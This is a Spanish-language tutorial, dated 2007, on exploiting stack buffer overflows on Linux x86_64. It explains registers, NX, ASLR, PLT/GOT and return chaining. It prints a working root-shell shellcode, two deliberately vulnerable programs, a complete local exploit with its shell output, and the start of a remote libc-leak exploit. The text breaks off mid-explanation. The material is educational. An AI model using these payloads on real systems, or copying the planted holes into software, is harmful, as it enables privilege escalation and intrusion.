=-|================================================-{ www.enye-sec.org }-====|
=-[ Introduccion a los overflows en Linux x86_64 ]-==========================|
=-|==========================================================================|
=-[ por RaiSe <raise@enye-sec.org> ]-========================-[ 10/09/2007]-=|
------[ 0.- Indice ]
0.- Indice
1.- Prologo
2.- Novedades x86_64
2.1.- Modos de ejecucion
2.2.- Nuevos registros
2.3.- Mnemonicos de 64 bits
2.4.- Llamadas a syscalls
3.- Dificultades en el camino
3.1.- No ejecucion de codigo en paginas por hardware
3.2.- Direccion de carga de librerias pseudo-aleatoria
3.3.- Paso de argumentos a funciones
4.- Shellcodes
4.1.- Shellcode que ejecuta una shell
5.- Tecnicas de explotacion
5.1.- Ideas basicas
5.2.- PLT
5.3.- Saltando aqui y alla
6.- Ejemplos simples de explotacion
6.1.- bof1.c local
6.2.- bof2.c remoto
7.- Conclusiones
8.- Despedida
------[ 1.- Prologo ]
Buenas. En este texto intentare aclarar un poco el tema de los overflows en
sistemas Linux x86_64 (linux a 64 bits en los nuevos procesadores para PC:
amd64, em64t, ..). No me metere a fondo en explicar conceptos teoricos, solo
lo justo y necesario para lo que nos interesa: aprovechar los overflows en
nuestro beneficio. Intentare por lo tanto ser lo mas practico posible, os
recuerdo que este texto solo es una introduccion al tema.
Para comprender este texto es necesario un conocimiento de la arquitectura
x86, y entender como funcionan los buffer overflow en dicha arquitectura.
Es posible que en el txt haya algun error, si es asi no dudes en hacermelo
saber a traves de raise@enye-sec.org para que pueda subsanarlo, gracias :) .
------[ 2.- Novedades x86_64 ]
Con la llegada de los nuevos procesadores para PC de 64 bits han surgido
muchas novedades. Aqui mencionare las que nos interesan desde el punto de
vista de los overflows.
Nota: Recordar que el orden en que se guardan los datos en memoria sigue
siendo little-endian, lo que nos puede facilitar mucho las cosas a la hora de
sobreescribir parcialmente un registro y cosas asi.
----[ 2.1.- Modos de ejecucion ]
Las CPU's tienen varios modos de ejecucion. Basicamente se dividen en 2
grupos: long mode y legacy mode. En long mode el SO esta programado para
ejecutarse en 64 bits, es decir siempre que se este en long mode el SO es de
64 bits, no puede instalarse windows 95 y el procesador estar en long mode
por ejemplo. En legacy mode pasa al contrario, el SO siempre sera de 32 bits.
Para abreviar, long mode: SO de 64 bits, legacy mode: SO de 32 bits (por el
tema de la compatibilidad de SO's antiguos).
Dentro del legacy mode hay 3 submodos, que son los mismos que cualquier CPU
x86 moderna: protected mode, virtual-8086 mode y real mode. Directamente
pasamos del legacy mode (es todo igual que en la arquitectura x86).
Dentro del long mode (el que nos interesa), hay 2 submodos: 64-bit mode y
compatibility mode, practicamente los nombres lo dicen todo. Un SO moderno de
64 bits puede ejecutar programas de 32 bits sin necesidad de recompilacion,
porque?, gracias al compatibility mode. Tambien pasamos directamente del
compatibility mode por lo mismo de antes.
El interesante y con el que nos vamos a encontrar de aqui a unos años por
todas partes es el 64-bit mode: un SO de 64 bits ejecutando codigo de 64
bits.
----[ 2.2.- Nuevos registros ]
Pues bien, hay muchas novedades en el tema de registros del procesador.
Vuelvo a recordar que estos registros solo estan disponibles en long mode -
64-bit mode (a partir de ahora se entendera que siempre estamos en ese modo
de ejecucion). Los registros de antes (eax, ebx, ecx, edx, edi, esi..) siguen
existiendo como registros de 32 bits (y son accesibles), pero solo son la
mitad de los nuevos registros de 64 bits, que basicamente se llaman igual
pero cambiando la e por la r, es decir: rax, rbx, rcx, rdx, rsi, rdi, rsp,
rbp, rip. Son todos de 64 bits.
Aparte se añaden 8 nuevos registros de 64 bits, que se llaman r8, r9, r10,
r11, r12, r13, r14 y r15. Se puede acceder por partes a los registros. Por
ejemplo 'r8d' es la parte baja de 32 bits del registro 'r8', 'r8w' la parte
baja de 16 bits y 'r8b' es el byte bajo. A los registros "antiguos" se les
accede como antes: 'eax' es la parte baja de 32 bits de 'rax', 'ax' la de 16
bits, 'al' la de 8 bits, etc.
'rip' es el nuevo registro de puntero de intruccion (en vez de 'eip'). Es de
64 bits porque el espacio de direcciones tambien, las posiciones de memoria
son de 64 bits ('rsp' es de 64 bits..., vamos que todo, o casi, es de 64
bits). Los enteros (int) siguen siguendo de 4 bytes (32 bits), pero por
ejemplo los long son de 8 bytes, los punteros son de 8 bytes, etc.
----[ 2.3.- Mnemonicos de 64 bits ]
Las instrucciones en asm mas o menos son las mismas, con la salvedad del
nombre de los registros. Es decir: 'mov rax,rdx' copia rax en rdx, etc. Hay
que resaltar que la unica forma de hacer una llamada al sistema es a traves
de la instruccion 'syscall'. Si hicieramos 'sysenter' por ejemplo generaria
un error (os recuerdo que estamos en 'long mode & 64-bit mode'). Paso a la
siguiente seccion porque aqui no hay mucho mas que contar.
----[ 2.4.- Llamadas a syscalls ]
Como ya adelante en la seccion anterior, se hacen a traves de la instruccion
'syscall' (ni 'sysenter' ni 'int $0x80'). El numero de syscall a llamar se
coloca en rax, y los argumentos en los siguientes registros por orden: rdi,
rsi, rdx, r10, r8, r9 (siendo rdi el primer argumento, rsi el segundo, etc.).
El valor devuelvo por la syscall se coloca en rax. Durante la syscall no se
garantiza que se preserve el valor de rcx y r11 (vamos que hay que salvarlos
antes si se tiene pensado utilizarlos luego para algo).
------[ 3.- Dificultades en el camino ]
Como veremos mas adelante las cosas se han puesto bastante dificiles. Se ha
añadido 'proteccion' via hardware, y el kernel se ha parcheado añadiendo aun
mas dificultades. Definitivamente el tipico exploit_base.c en el que
modificando cuatro valores tenias un exploit funcional ha pasado a la
historia.
----[ 3.1.- No ejecucion de codigo en paginas por hardware ]
Como iba diciendo se ha añadido algo basico para la seguridad del sistema.
Antes las paginas de memoria (la memoria se divide en paginas, por cierto
aprovecho para decir que en 'long mode' se han cargado directamente la
segmentacion) no tenian la opcion hardware de ser de lectura y NO
ejecutables, si eran de lectura eran ejecutables. Ahora si, una pagina de
memoria puede ser por ejemplo de lectura/escritura y NO ejecutable. Con lo
cual el stack, la memoria dinamica gestionada con *alloc (bss), la seccion de
datos (data), etc., ya no es ejecutable, y nos sera imposible ejecutar en
ella una shellcode (a no ser que se modifique para que ese area de memoria si
sea ejecutable, con mprotect por ejemplo, o especificandolo en una llamada a
mmap).
----[ 3.2.- Direccion de carga de librerias pseudo-aleatoria ]
Aparte de la dificultad para ejecutar nuestra shellcode, saltar a la libc
tampoco sera coser y cantar. El kernel ha sido parcheado para que las
llamadas a mmap (la que se utiliza para cargar en memoria las librerias
dinamicas como la libc) devuelvan un valor pseudo-aleatorio. El resultado es
que en cada ejecucion de un proceso la libc (y todas las librerias dinamicas)
se cargan en una direccion diferente. Ejemplo:
[raise@enyelab ~]$ ldd /bin/id
libc.so.6 => /lib64/libc.so.6 (0x00002af504e0c000)
/lib64/ld-linux-x86-64.so.2 (0x00002af504cf1000)
[raise@enyelab ~]$ ldd /bin/id
libc.so.6 => /lib64/libc.so.6 (0x00002aae7b5eb000)
/lib64/ld-linux-x86-64.so.2 (0x00002aae7b4d0000)
Como veis las direcciones de las librerias son diferentes, a pesar de que el
ejecutable ('/bin/id') sea exactamente el mismo. Eso hace que la conocida
tecnica de return-into-libc no sea aplicable tal cual.
----[ 3.3.- Paso de argumentos a funciones ]
Despues de eso direis: bueno, ya no puede ir peor. Pues si puede :) . En Linux
x86_64 las llamadas a funciones son un poco diferentes a las de x86 (llamadas
a funciones normales, no me estoy refiriendo a syscalls). En la arquitectura
x86 los argumentos a las funciones se pasaban a traves de la pila: se hacia
'push $arg2', 'push $arg1', 'call funcion'. Con lo cual si controlabas el
stack justo al comienzo de una funcion controlabas sus argumentos. Esto se
utilizaba mucho en la tecnica de retornar en la libc, ya que al controlar el
stack (o un trozo de stack) controlabas los argumentos de paso a las
funciones; luego solo era cuestion de ir enlazando llamadas con los
argumentos apropiados y al final conseguias una shell (o lo que fuera).
Ahora para complicarlo un poco mas, los argumentos se pasan en los registros
del procesador. Para ser exactos se pasan en este orden: rdi, rsi, rdx, rcx,
r8, r9 (siendo rdi el primer argumento de la funcion, rsi el segundo, etc.).
De esta forma aunque controles el stack al llamar a una funcion no controlas
sus argumentos, hay que apañarselas para colocar los argumentos necesarios en
los registros adecuados. Aun asi la direccion de retorno si se sigue
guardando en la pila.
Nota: Hay casos en los que el argumento si se pasa a traves de la pila,
por ejemplo cuando el arg es una estructura grande (mayor de 128
bits). Pero para los casos 'normales': enteros, longs, punteros,
etc. se usan los registros, y en libc 'creo' que siempre que haya
que pasar una estructura como argumento se pasa su direccion
(puntero), con lo que siempre se usaran los registros para pasar
argumentos a funciones (al menos en la libc actual).
------[ 4.- Shellcodes ]
Las shellcodes para x86_64 son muy parecidas a las de x86. Practicamente solo
cambian el nombre de los registros, y que se utiliza la instruccion 'syscall'
para las llamadas al sistema en vez de 'sysenter' o 'int $0x80'. En este
apartado pondre una shellcode que da una shell (lo tipico), pero en realidad
las scodes no tienen mucho sentido en la explotacion de overflows en x86_64.
Pocas veces podremos ejecutarlas debido al tema de las paginas no
ejecutables, para conseguirlo tendriamos que reservar/modificar una zona de
memoria a traves de mmap/mprotect, lo cual muchas veces es muy dificil. Es
mucho mas facil ejecutar directamente las llamadas a la libc encadenadas que
ingeniartelas para poder ejecutar una shellcode. A pesar de todo la pongo a
modo 'academico'.
----[ 4.1.- Shellcode que ejecuta una shell ]
---- shellcode ----
char scode[]=
/*
__asm__("\
.byte 0xeb ;\
.byte 0x1f ;\
pop %rbx ;\
xor %rdi,%rdi ;\
xor %rsi,%rsi ;\
xor %eax,%eax ;\
movb $0x71,%al ;\
syscall ;\
mov %rbx,%rdi ;\
xor %rdx,%rdx ;\
push %rdx ;\
push %rdi ;\
mov %rsp,%rsi ;\
xor %rax,%rax ;\
movb $0x3b,%al ;\
syscall ;\
.byte 0xe8 ;\
.byte 0xdc ;\
.byte 0xff ;\
.byte 0xff ;\
.byte 0xff ;\
.string \"/bin/sh\" ;\
.byte 0x00 ;\
");
*/
"\xeb\x1f\x5b\x48\x31\xff\x48\x31\xf6\x31\xc0\xb0\x71\x0f"
"\x05\x48\x89\xdf\x48\x31\xd2\x52\x57\x48\x89\xe6\x48\x31"
"\xc0\xb0\x3b\x0f\x05\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00";
---- eof ----
No tiene mucha ciencia, los 2 primeros bytes son el salto (jmp) de toda la
vida de las shellcodes, y los 5 bytes del final antes del string de "/bin/sh"
son el 'call' al 'pop %rbx'. Luego es lo mismo de siempre, colocar los
argumentos en los registros apropiados y llamar a 'syscall'. La scode hace un
setreuid(0,0) y un execve de "/bin/sh". El setreuid es por el tema de la bash
del euid 0. La verdad es que la shellcode no es gran cosa, no deberia llevar
el null del final sino que deberia ponerlo solo en tiempo de ejecucion, pero
para fines didacticos es mas que suficiente ;P.
Para probarla meter el __asm__() dentro de un main o cualquier funcion de
codigo, o hacer un mmap con proteccion de ejecucion+escritura para poder
copiar ahi la shellcode y ejecutarla:
[raise@enyelab x86_64]$ ls -l test-scode
-rwsr-xr-x 1 root root 10566 sep 10 00:39 test-scode*
[raise@enyelab x86_64]$ ./test-scode
sh-3.1# id
uid=0(root) gid=500(raise) groups=500(raise)
------[ 5.- Tecnicas de explotacion ]
En este apartado tratare de explicar un poco algunas tecnicas que pueden
sernos de utilidad a la hora de explotar los overflows. Hay que decir que no
hay una receta magica, se basan en el estudio del propio ejecutable
vulnerable y de las librerias del sistema. Por lo tanto, es basico disponer
de una copia local de lo que vayamos a utilizar (ejecutable, librerias a las
que saltaremos, etc.), ya que utilizaremos direcciones exactas.
En exploits locales no hay problema, en remoto habra que conseguirlo
bajandose la libc de la distro en cuestion (suponiendo que no haya sido
modificada/actualizada), y con el programa vulnerable mas de lo mismo. Si el
programa vulnerable no viene de una instalacion precompilada (tipo rpm) con
la distro la cosa se complica, habria que usar fuerza bruta o cosas parecidas
que no se tratara en este texto.
----[ 5.1.- Ideas basicas ]
Como decia todo se basa en el estudio del ejecutable y de las librerias
dinamicas cargadas en memoria. Y direis: las librerias?, pero no se cargaban
en direcciones de memoria pseudo-aleatorias?. Obviamente si, pero en algunos
casos se puede averiguar la direccion de las libs en tiempo de ejecucion del
programa vulnerable.
De entrada recordaros que el programa vulnerable siempre se carga en una
direccion de memoria establecida (al menos de momento, hay proyectos para que
esto no sea asi y se carge como si fuera una libreria dinamica, pero en la
actualidad no estan lo suficientemente maduros y no estan implantados 'de
serie'). Por lo tanto tenemos unas direcciones a las que podemos saltar y de
las que conocemos su contenido (instrucciones asm). Dependiendo del
tamaño/complejidad del programa vulnerable esto nos da mucho juego;
cientos/miles de instrucciones asm a las que podemos saltar.
Si nos encontramos una instruccion 'syscall' (opcodes: 0x0f 0x05) dentro del
programa vulnerable la cosa se simplifica mucho, ya que podremos ejecutar
llamadas al sistema sin necesidad de conocer la direccion de la libc.
Logicamente tendriamos que colocar los argumentos necesarios en los registros
apropiados utilizando para ello el propio codigo (partes de el) del
ejecutable, encadenando todos los trozos de codigo con 'rets' (os recuerdo
que controlaremos el stack). Esto es lo tipico de los return-into-libc.
Desgraciadamente pocas veces encontraremos una instruccion 'syscall' en el
propio codigo del ejecutable, a no ser que una instruccion asm utilice los
bytes 0x0f 0x05 como 'datos', y tengamos la suerte de que esten seguidos. Por
lo tanto muchas veces tendremos que saltar a la libc (averiguando su
direccion con metodos como el que veremos mas adelante en el PoC bof2.c), o a
traves de la PLT.
----[ 5.2.- PLT ]
Nota: Voy a intentar explicarlo brevemente y de forma practica, espero no
cometer ningun error.
Supongo que muchos sabeis que es la PLT (Procedure Linkage Table). Se usa
para calcular en tiempo de ejecucion las direcciones de los procedimiendos
(funciones) en las librerias de enlace dinamico. Se utiliza en conjuncion con
GOT (Global Offset Table), que contiene las direccionas de memoria absolutas
de las funciones una vez resueltas.
Mas o menos funciona asi. Tenemos un codigo que ejecuta una llamada a una
funcion de la libc y se compila de forma dinamica (si se compilara de forma
estatica no se saltaria a la libc, sino que se copiaria la propia funcion en
el codigo del ejecutable), por ejemplo este:
---- ejemplo-plt.c ----
#include <stdio.h>
int main(void)
{
printf("hola!\n");
}
---- eof ----
Hace una llamada a 'printf', que esta ubicada en la libc. En tiempo de
compilacion es imposible saber cual es la direccion 'real' de la funcion
printf, ya que la libc aun no se ha cargado en el espacio de direcciones del
proceso. Por lo tanto en realidad se salta a una entrada de la PLT, que
tienen esta pinta:
0x4003b0: jmpq *1049706(%rip) # 0x500820 <_GOT_+32>
0x4003b6: pushq $0x1
0x4003bb: jmpq 0x400390
Esta es la entrada PLT de la funcion printf, si nos fijamos en el codigo de
main:
(gdb) disass main
Dump of assembler code for function main:
0x0000000000400478 <main+0>: push %rbp
0x0000000000400479 <main+1>: mov %rsp,%rbp
0x000000000040047c <main+4>: mov $0x400578,%edi
0x0000000000400481 <main+9>: callq 0x4003b0
0x0000000000400486 <main+14>: leaveq
0x0000000000400487 <main+15>: retq
Vemos que el call (main+9) salta justo a la entrada PLT de printf. Ahora es
cuando entra en juego la GOT (Global Offset Table). La primera instruccion de
la entrada PLT hace un 'jmpq *1049706(%rip)', que en realidad es un salto al
contenido de la entrada GOT de printf (0x500820). La GOT solo contiene datos,
nunca se ejecutara codigo, es como un almacen donde se guardan los valores de
las direcciones de las funciones. La primera vez que se ejecuta una entrada
de la PLT hay que resolver primero la direccion que buscamos, por lo que la
GOT siempre apuntara a la direccion siguiente (segunda instruccion de la
entrada PLT correspondiente). Lo vemos:
(gdb) x/1xg 0x500820
0x500820 <_GOT_+32>: 0x00000000004003b6
El contenido de la entrada GOT correspondiente a 'printf' apunta a la segunda
instruccion de la entrada PLT de 'printf', es decir al 'pushq $0x1'. Porque?,
porque el valor de la direccion de 'printf' nunca se ha resuelto aun, con lo
que el 'jmpq *1049706(%rip)' en realidad salta al 'pushq $0x1'. Seguimos..
La PLT mete en la pila un valor (0x1), que sera necesario para que el dynamic
linker (enlazador dinamico) sepa que la funcion a resolver es 'printf' y no
otra. En una PLT cada entrada tiene dicho valor distinto para diferenciar las
funciones que hay que resolver. Despues hace un 'jmpq 0x400390', que
transfiere el control al dynamic linker, el cual resumiendo mucho resuelve la
direccion absoluta de 'printf' y la coloca en su entrada correspondiente en
la GOT (0x500820 para ser exactos). Despues transfiere el control a la misma,
y por fin estamos en printf en la libc :) .
Luego por ejemplo si hacemos 8 llamadas a printf seguidas saltara a la PLT de
'printf' (como antes), pero ya se salta todo el rollo de resolver la
direccion porque en la GOT (0x500820) ya estara la direccion real de
'printf'.
Bueno, y porque todo este rollo?. Pues porque la PLT puede ser nuestra gran
aliada, ya que se encuentra en el propio codigo del ejecutable, con lo cual
se carga en una direccion de memoria prefijada y que conocemos. Por lo tanto
podemos saltar a la entrada PLT de la funcion de libc que mas nos guste, que
el enlazador dinamico se encargara de averiguar su direccion por nosotros. La
pega es que para que la entrada PLT de 'nuestra' funcion este disponible, el
programa vulnerable tiene que utilizarla en alguna parte de su codigo, ya que
sino el compilador no la incluira y no estara en la PLT. Volvemos a lo de
antes, cuanto mas complejo sea el programa vulnerable mas funciones
utilizara, y mas facil lo tendremos para encontrar alguna que nos sea util.
----[ 5.3.- Saltando aqui y alla ]
La frase de este titulo podria resumir la tecnica principal para conseguir
explotar un overflow en Linux x86_64; ir saltando a trozos de codigo del
propio ejecutable o alguna libreria dinamica. Como controlamos el stack
(recordad que este texto trata sobre los overflows de pila), controlamos las
direcciones de retorno. Por poner un ejemplo, queremos copiar 'rdx' en 'rdi',
pues buscamos en el ejecutable/libs algo asi:
0x400642: mov %rdx,%rdi
0x400645: retq
Como controlamos el stack, ese 'retq' (por cierto la 'q' es porque es de 64
bits) saltara a donde nosotros queramos, y de esta forma podemos ir enlazando
trozos de codigo. Cuando sobreescribamos la direccion de retorno de la
funcion vulnerable, todo lo que vaya a continuacion sera tratado como
direcciones de retorno de nuestros 'trozos' de codigo encadenado.
Por ejemplo, supongamos que aparte de querer copiar 'rdx' en 'rdi' queremos
poner a cero 'rsi'. Y tenemos esto disponible en alguna parte:
0x400750: xor %rsi,%rsi
0x400752: retq
Pues bien, solo tenemos que generar nuestro overflow con una pinta como esto:
*AAAAAAAA's necesarios para provocar el overflow*
*0x400642*
*0x400750*
*siguiente trozo de codigo + retq*
*siguiente trozo de codigo + retq*
..
La direccion de retorno de la funcion vulnerable se sobreescribe con
0x400642, con lo q salta ahi y ya tenemos 'rdx' en 'rdi'. Luego hace un retq:
salta a 0x400750 -> xor %rsi,%rsi, y hace otro retq.., y asi vamos enlazando
nuestros trozos de codigo.
Por cierto, normalmente antes de un 'retq' hay un 'leaveq', para restaurar
'rbp'. Esto nos complica las cosas, ya que seria imposible enlazar dos trozos
de codigo seguidos (o muy dificil, ya que habria que colocar en 'rbp' el
valor correcto) que tuvieran un 'leaveq' antes del 'retq'. Pero este problema
esta practicamente solucionado en el caso de saltar a la libc, ya que desde
hace tiempo se ha compilado entera con la opcion fomit-frame-pointer. Asi
mismo muchos programas/aplicaciones de usuario tambien se compilan con esa
opcion, con lo que el 'rbp' no se salva/restaura al comienzo y final de una
funcion.
Pues bien, sabiendo todo esto solo hay que analizar los datos para poder
explotar un overflow, saltar a los lugares idoneos con el stack adecuado, y
ya tenemos un exploit :) .
------[ 6.- Ejemplos simples de explotacion ]
Vamos a ver un par de ejemplos muy sencillos de overflows+exploits hechos
para ilustrar un poco las tecnicas descritas. De todas formas cada overflow
es un mundo, estos 2 PoC's solo son un ejemplo entre mil (quiero decir que no
hay una tecnica que valga 'para todo').
Pues bien, vamos a ello..
----[ 6.1.- bof1.c local ]
Este es un overflow tipico de pila, que se explotara de forma local. Es muy
simple y esta orientado para que sea 'academico', por ejemplo la llamada a
system() solo esta para que dicha funcion se encuentre en la PLT del
ejecutable.
---- bof1.c ----
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void basura(void) { system(NULL); }
void f1(char *argv[])
{
char buf[1024];
strcpy(buf, argv[1]); /* OVERFLOW */
}
int main(int argc, char *argv[])
{
f1(argv);
return(0);
}
---- eof ----
Como vemos este programilla lo unico que hace es llamar a la funcion
f1(argv), la cual copia argv[1] en buf sin limite de tamaño a traves de
strcpy. Es decir, se sobreescribe la direccion de retorno de f1.
Bien, en este caso la solucion es muy sencilla, ya que tenemos la 'suerte' de
que hay una entrada en la PLT de la funcion system. Ya se que esto no es muy
realista, pero para entrar en materia es mas que sufuciente. Pues nada, como
sabemos la direccion exacta de la entrada PLT de system solo tenemos que
saltar a ella para conseguir nuestra shell.
Aqui hay un par de comentarios a tener en cuenta. El primero es que la
funcion strcpy añade un caracter nulo al final del string. En este caso no
tiene importancia, porque la direccion que vamos a sobreescribir es
exactamente esta:
(gdb) x/1xg $rsp
0x7ffff6d3a078: 0x000000000040051e
Ese es el valor que habra en el stack justo en el reqt del final de f1. Como
nosotros vamos a saltar a la PLT cuya direccion de comienzo es
0x00000000004003c8 (objdump -t bof1 | grep .plt), significa que delante de lo
que vamos a sobreescribir hay muchos ceros :) . Aprovechandonos de que los
datos en memoria se siguen guardando en little-endian podemos sobreescribir
los 3 bytes bajos de la direccion de retorno, y el cuarto byte bajo se
sobreescribira con el null que metera strcpy. Ahora bien, aqui la gran faena
(x no decir otra cosa) es que ya no podemos enlazar varias llamadas seguidas,
tenemos que ejecutar la shell del tiron (por culpa del null que mete strcpy).
En realidad es muy sencillo, y aqui entra en juego un factor clave para la
explotacion de los overflows. Como los argumentos de las funciones se pasan
en los registros y no en el stack como antes, significa que despues de llamar
a una funcion los registros no cambian, sigues teniendo los argumentos de la
llamada anterior en ellos. Aprovechandonos de esto es coser y cantar.
Recordamos como se produce el overflow:
strcpy(buf, argv[1]);
Esto significa que %rdi apuntara a buf, y que %rsi apuntara a argv[1]. El
contenido de buf y argv[1] los controlamos, por lo tanto controlamos el
buffer que se le pasara a system(): buf = %rdi. Con lo cual elaborando el
overflow de esta forma conseguiremos ejecutar una shell:
/bin/sh;#PADPADPADPAD..3 bytes bajos de la entrada PLT de system
Hay que meter el numero justo de bytes para sobreescribir correctamente la
direccion de retorno con los 3 bytes + el null; saltara a la entrada PLT de
system y tendremos un system("/bin/sh;#PADPADPADPAD.."). Como metemos el
caracter de comentario (#) lo que venga detras no se ejecutara.
Veamos el exploit:
---- xpbof1.c ----
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define SYSTEM_PLT 0x00000000004003f8
int main(void)
{
char buf[2048];
unsigned long *p = (unsigned long *) buf;
int i;
memset(buf, 0x00, sizeof(buf));
for (i=0; i < 128; i++)
*p++ = (unsigned long) 0x4141414141414141;
*p++ = 0x4242424242424242;
*p = SYSTEM_PLT;
memcpy(buf, "/bin/sh;#", 9);
execl("./bof1", "./bof1", buf, NULL);
}
---- eof ----
El exploit mete 1024 bytes del caracter 'A' (0x41), que llenan buf[] en bof1
f1(). Despues mete 8 bytes del caracter 'B' (0x42), que seran el %rbp que se
sobreescribira (suponemos que bof1 no se ha compilado con la opcion
fomit-frame-pointer, si fuera asi estos 8 bytes habria que eliminarlos). Y
luego metemos los 3 bytes de la entrada PLT de system (aunque en el exploit
ponga *p = 0x00000000004003f8 solo es porque el puntero p es de tipo unsigned
long, los 4 bytes nulos altos no se utilizaran ya que el primer null es el
que marca el final de cadena, era para evitar hacer castings y demas :P).
Para saber la direccion de la entrada PLT de system lo podemos mirar, o con
el gdb:
(gdb) disass basura
Dump of assembler code for function basura:
0x00000000004004c8 <basura+0>: push %rbp
0x00000000004004c9 <basura+1>: mov %rsp,%rbp
0x00000000004004cc <basura+4>: mov $0x0,%edi
0x00000000004004d1 <basura+9>: callq 0x4003f8 <-- AQUI
0x00000000004004d6 <basura+14>: leaveq
0x00000000004004d7 <basura+15>: retq
O con el objdump:
[raise@enyelab x86_64]$ objdump -d bof1 | grep system@plt
00000000004003f8 <system@plt>: <-- AQUI
Ahora solo queda probar el exploit:
[raise@enyelab x86_64]$ ./xpbof1
sh-3.1$
Ya tenemos una shell :) . Por cierto, la bash nos quitara el euid 0 en caso de
dar a bof1 suid root, menos en debian creo (por un tema de que la bash que
lleva esta modificada para que expresamente no lo haga). Para que no lo
hiciera habria que hacer un setuid(0) (por ejemplo), o no utilizar system
sino exec* y ejecutar una shell que no fuera bash (bof1 = didactico).
----[ 6.2.- bof2.c remoto ]
Ahora veremos otro ejemplo de explotacion de un overflow (remoto) algo mas
complejo que el anterior, pero que sigue siendo bastante sencillo. Se trata
de un programilla que lo unico que hace es escuchar en un puerto, y cuando
recibe una conexion mostrar un mensaje y pedir una contraseña. Al leer la
contraseña es cuando se produce el overflow.
Vemos el codigo:
---- bof2.c ----
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <unistd.h>
/* funciones */
void manejador(int s);
int main(int argc, char *argv[])
{
int soc, soc2;
struct sockaddr_in dire;
if (argc != 2)
{
fprintf(stderr, "%s puerto\n", argv[0]);
exit(-1);
}
if ((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
fprintf(stderr, "Error al crear el socket.\n");
exit(-1);
}
bzero((void *) &dire, sizeof(dire));
dire.sin_family = AF_INET;
dire.sin_port = htons(atoi(argv[1]));
dire.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(soc, (struct sockaddr *) &dire, sizeof(dire)) == -1)
{
fprintf(stderr, "Error al hacer bind, seguramente el puerto"
" ya esta en uso.\n");
exit(-1);
}
listen(soc, 5);
if ((soc2 = accept(soc, NULL, 0)) == -1)
return(-1);
else
manejador(soc2);
return(0);
} /********** fin de main() ***********/
void manejador(int s)
{
char buf[1024];
write(s, "* BOF2 Server, bienvenid@ :)\n\n", 30);
write(s, "Introduce tu clave:\n", 20);
read(s, buf, 2*sizeof(buf)); /* OVERFLOW */
} /************ fin manejador() ************/
---- eof ----
Muy simple. Hace un socket / bind / listen / accept, y el socket de la
conexion se le pasa como argumento a la funcion manejador. Es ahi donde se
produce el overflow ya que lee el doble de bytes del tamaño de buf (1024).
Una ilustracion de lo simple que es el programa:
--
[raise@enyelab x86_64]$ ./bof2
./bof2 puerto
[raise@enyelab x86_64]$ ./bof2 7777 &
[1] 4038
[raise@enyelab x86_64]$ nc localhost 7777
* BOF2 Server, bienvenid@ :)
Introduce tu clave:
CLAVE_DE_PRUEBA
[1]+ Done ./bof2 7777
[raise@enyelab x86_64]$
--
Lo unico que hicimos fue ejecutar ./bof2, el cual nos muestra un error para
que indiquemos el numero de puerto, lo volvemos a ejecutar con el puerto 7777
en segundo plano, luego nos conectamos a localhost al puerto 7777, nos
muestra el mensajito, metemos "CLAVE_DE_PRUEBA", y termina. Tan simple como
eso :) . Obviamente hay un overflow y si metemos 1040 A's como password:
[raise@enyelab x86_64]$ nc localhost 7777
* BOF2 Server, bienvenid@ :)
Introduce tu clave:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA's [1040]
[1]+ Violación de segmento (core dumped) ./bof2 7777
El proceso que habia en segundo plano hace crash. Pues bien, ya sabemos lo
que hace el programa y donde esta el overflow, y ahora como lo explotamos
sino hay system() ni exec*() en la PLT?. Podemos intentar buscar una
instruccion 'syscall' en el propio codigo del ejecutable, pero sin exito
debido al poco tamaño del mismo. Definitivamente habra que saltar a la libc o
a alguna libreria de enlace dinamico, pero como averiguamos su direccion
exacta?.
Aqui entra un poco en juego la imaginacion. Tenemos que utilizar las
funciones de entrada/salida que use el programa vulnerable para averiguar la
direccion de las librerias en tiempo de ejecucion. Es muy raro que un
programa no haga E/S, y si la hace alguna funcion habra en la PLT que nos
sirva. En este ejemplo tenemos read y write, pero en otros casos podria
utilizarse *printf o similares. Ahora nos fijamos en donde se produce el
overflow:
read(s, buf, 2*sizeof(buf));
Como los registros no son modificados antes del retorno de la funcion
manejador(), quiere decir que saltemos a donde saltemos sobreescribiendo la
direccion de retorno tendremos: en %rdi el socket, en %rsi la direccion de
buf, y en %rdx 2*sizeof(buf), o sea 2048. Con esos parametros lo tenemos muy
facil, solo tenemos que sobreescribir la direccion de retorno con la entrada
PLT de write, la cual nos enviara el contenido de buf (que ya lo sabemos y no
nos importa) + 1024 bytes del stack. Analizando esos 1024 bytes de
informacion sacaremos la direccion de libc. Si quisieramos 'mostrar' mas
bytes, podriamos saltar a algo asi dentro del propio codigo de bof2:
pop %rdx
retq
Como controlamos el stack meteriamos en %rdx el valor que quisieramos, y
luego saltariamos a la entrada PLT de write con el retq. Las posibilidades
son las que el programa vulnerable nos proporcione, solo hay que buscar a
donde saltar. De todas formas en este caso no nos hace falta, ya que con 1024
bytes de informacion nos es suficiente.
Bueno, estamos en que saltamos al write y nos muestra informacion, pero y
luego?. Necesitamos 'volver' a provocar otro overflow en tiempo de ejecucion,
ya que la informacion obtenida solo es valida para esa instancia del proceso,
si volvemos a ejecutar bof2 otra vez la direccion de libc sera diferente y no
nos servira de nada. Pues muy facil, volvemos a saltar read (entrada PLT),
que ya tenemos los argumentos colocados :) , y volvemos a provocar otro
overflow, esta vez saltando directamente a la libc, ya que habremos calculado
su direccion en el overflow anterior. Para hacer un resumen este es el
esquema del overflow:
* 1032 A's (sobreescribe %rbp de manejador tambien) *
* direccion de entrada PLT de write *
- aqui nos muestra la informacion del stack, la analizamos y calculamos
la direccion de la libc -
* direccion de entrada PLT de read *
* 1048 bytes para rellenar el buffer *
* siguiente direccion a donde saltamos *
Bien, estamos en el punto en el que bof2 vuelve a hacer un read como el
original, concretamente: read(s, buf, 2048) (no pongo el sizeof para
abreviar). Recordemos que %rsp no se ha movido, en el momento en que salta al
segundo read que nosotros hemos provocado apunta a buf[1048]. Por lo tanto,
podemos modificar el siguiente salto en el SEGUNDO overflow, ya que esa
direccion la podemos sobreescribir debido a que el read es de 2048 bytes.
Pues bien, en el segundo overflow en vez de meter 1032 bytes de 'pad' metemos
